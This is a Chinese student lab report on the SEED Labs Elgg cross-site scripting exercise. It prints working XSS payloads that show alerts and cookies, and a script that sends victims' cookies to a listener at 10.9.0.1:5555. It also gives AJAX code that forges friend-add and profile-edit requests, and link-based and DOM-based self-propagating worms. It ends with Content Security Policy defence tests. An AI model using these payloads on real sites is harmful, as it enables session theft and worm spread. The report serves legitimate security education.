SEED-Lab7 XSS攻击实验(Elgg)

SEED-Lab7 XSS攻击实验(Elgg) SEED-Lab7 XSS攻击实验(Elgg)文章目录SEED-Lab7 XSS攻击实验(Elgg) 文章目录 实验环境 实验内容 实验步骤 DNS Setup Task 1: Posting a Malicious Message to Display an Alert Window Task 2: Posting a Malicious Message to Display Cookies Task 3: Stealing Cookies from the Victim’s Machine Task 4: Becoming the Victim’s Friend Task 5: Modifying the Victim’s Profile Task 6: Writing a Self-Propagating XSS Worm Task 7: Defeating XSS Attacks Using CSP 实验总结声明实验已经过去很久效果不能保证。写的时候有所借鉴感谢学长学姐大佬们公开的教程。图片有水印如果能根据我写的报告复现不胜荣幸。谢绝直接盗用图片抄袭实验环境Ubuntu 20.04实验内容跨站点脚本(XSS)是一种常见于web应用程序中的计算机安全漏洞。此漏洞使攻击者有可能将恶意代码如JavaScripts注入受害者的web浏览器。为了演示攻击者可以做什么我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。我们已经注释掉了Elgg的一些保护方法故意使其容易受到XSS攻击。学生们需要利用这些漏洞发动攻击就像Samy Kamkar在2005年通过臭名昭著的Samy蠕虫对MySpace所做的那样。此攻击的最终目标是在用户之间传播XSS蠕虫这样无论谁查看受感染的用户配置文件都会受到感染无论谁受感染都会将您即攻击者添加到他/她的好友列表中。实验步骤DNS Setup加载dockerdocker-compose builddocker-compose up配置/etc/hosts添加www.seed-server.com和一些测试网站的域名映射可以打开www.seed-server.com了Task 1: Posting a Malicious Message to Display an Alert Window以samy的身份登入网站修改samy的profile将攻击代码藏入简介中scriptalert(XSS);/script保存后就能看到弹窗返回主页也能看到攻击成功了Task 2: Posting a Malicious Message to Display Cookies修改samy中藏有的恶意代码使其弹窗中显示cookiescriptalert(document.cookie);/script保存后弹窗中显示cookieTask 3: Stealing Cookies from the Victim’s Machine开启一个终端监听5555端口将samy的profile中的恶意代码修改成scriptdocument.write(img srchttp://10.9.0.1:5555?cescape(document.cookie));/script保存后发现被拦截了监听端口输出cookieTask 4: Becoming the Victim’s Friendsamy添加一个好友使用wireshark查看一下http的请求是怎么构建的得到其中的url请求是http://www.seed-server.com/action/friends/add?friend58__elgg_ts1732696624__elgg_tokenxLbDvLGeMUw2G9wHHeMT5Q__elgg_ts1732696624__elgg_tokenxLbDvLGeMUw2G9wHHeMT5Q所以如果要加samy为好友其id为59则构造的url请求应该是http://www.seed-server.com/action/friends/add?friend59 ts token ts token所以构造的恶意代码为scripttypetext/javascriptwindow.onloadfunction(){varAjaxnull;varts__elgg_tselgg.security.token.__elgg_ts;vartoken__elgg_tokenelgg.security.token.__elgg_token;varsendurlhttp://www.seed-server.com/action/friends/add?friend59tstokentstoken;AjaxnewXMLHttpRequest();Ajax.open(GET,sendurl,true);Ajax.send();}/script修改samy profile中的恶意代码更换Alice的账号登录没有好友访问samy的主页然后发现就添加上了好友Task 5: Modifying the Victim’s Profile修改一下samy自己的profile抓包之后显示url请求为如下__elgg_tokenCL1-xOOBucqcKcYnoGR1Sg__elgg_ts1732702506nameSamydescriptionpThis is samy./paccesslevel[description]2briefdescriptionaccesslevel[briefdescription]2locationaccesslevel[location]2interestsaccesslevel[interests]2skillsaccesslevel[skills]2contactemailaccesslevel[contactemail]2phoneaccesslevel[phone]2mobileaccesslevel[mobile]2websiteaccesslevel[website]2twitteraccesslevel[twitter]2guid59所以得到了构造的恶意代码scripttypetext/javascriptwindow.onloadfunction(){varuserNamenameelgg.session.user.name;varguidguidelgg.session.user.guid;varts__elgg_tselgg.security.token.__elgg_ts;vartoken__elgg_tokenelgg.security.token.__elgg_token;varcontenttoken ts userName descriptionpThis is from samy./paccesslevel[description]2guid;varsamyGuid59;varsendurlhttp://www.seed-server.com/action/profile/edit;if(elgg.session.user.guid!samyGuid){varAjaxnull;Ajaxnew XMLHttpRequest();Ajax.open(POST, sendurl,true);Ajax.setRequestHeader(Content-Type,application/x-www-form-urlencoded);Ajax.send(content);}}/script修改samy的profile中的恶意代码如下alice登录后访问samy的主页也会修改before访问samy后攻击成功了Task 6: Writing a Self-Propagating XSS WormLink Approach使用之前搭建好的www.example32.com作为第三方服务器进入apache2中的配置文件插入www.example32.com的服务器名字在容器中的/var/www/csp文件夹中创建xssworm.js文件将上个task中js代码中的内容复制进来加上wormCode变量注意使用的域名访问www.example70.com/xssworm.js可以访问到js代码将samy中profile的恶意代码改成script typetext/javascriptsrchttp://www.example70.com/xssworm.js/script以boby的身份登录在没有点进samy主页之前点进之后而以charlie的身份访问boby也会被攻击before访问boby之后说明蠕虫攻击成功了DOM Approach将samy的profile中的恶意代码修改如下script typetext/javascriptidwormwindow.onloadfunction(){varheaderTagscript id\worm\ type\text/javascript\;varjsCodedocument.getElementById(worm).innerHTML;vartailTag/script;varwormCodeencodeURIComponent(headerTagjsCodetailTag);varuserNamenameelgg.session.user.name;varguidguidelgg.session.user.guid;varts__elgg_tselgg.security.token.__elgg_ts;vartoken__elgg_tokenelgg.security.token.__elgg_token;varcontenttokentsuserNamedescriptionThis is from samywormCodeaccesslevel[description]2guid;varsamyGuid59;varsendurlhttp://www.seed-server.com/action/profile/edit;if(elgg.session.user.guid!samyGuid){varAjaxnull;AjaxnewXMLHttpRequest();Ajax.open(POST,sendurl,true);Ajax.setRequestHeader(Content-Type,application/x-www-form-urlencoded);Ajax.send(content);}}/scriptalice的简介清除之后访问samy主页攻击成功boby的简介清除之后访问alice主页也可以攻击成功说明蠕虫攻击再次实现了Task 7: Defeating XSS Attacks Using CSP原始状态www.example32a.com: 全都OK弹窗也可执行www.example32b.com: 4 6 OK1 2 3 5 7 Failed弹窗不可执行www.example32c.com: 1 4 6 OK2 3 5 7 Failed弹窗不可执行修改/etc/apache2/sites-available/apache_csp.conf将www.example32b.com中的*.example60.com添加上去service apache2 restart重启apache后可以看到www.example32b.com的5 OK了说明csp将www.example60.com添加进白名单了修改var/www/csp/phpindex.php文件添加nonce-222-222-222 *.example60.comservice apache2 restart重启apache后可以看到www.example32c.com的5 OK了说明csp将www.example60.com和nonce-222-222-222添加进白名单了由此可见csp为白名单制度将对应的站点添加进白名单后就能正确访问。实验总结删掉啦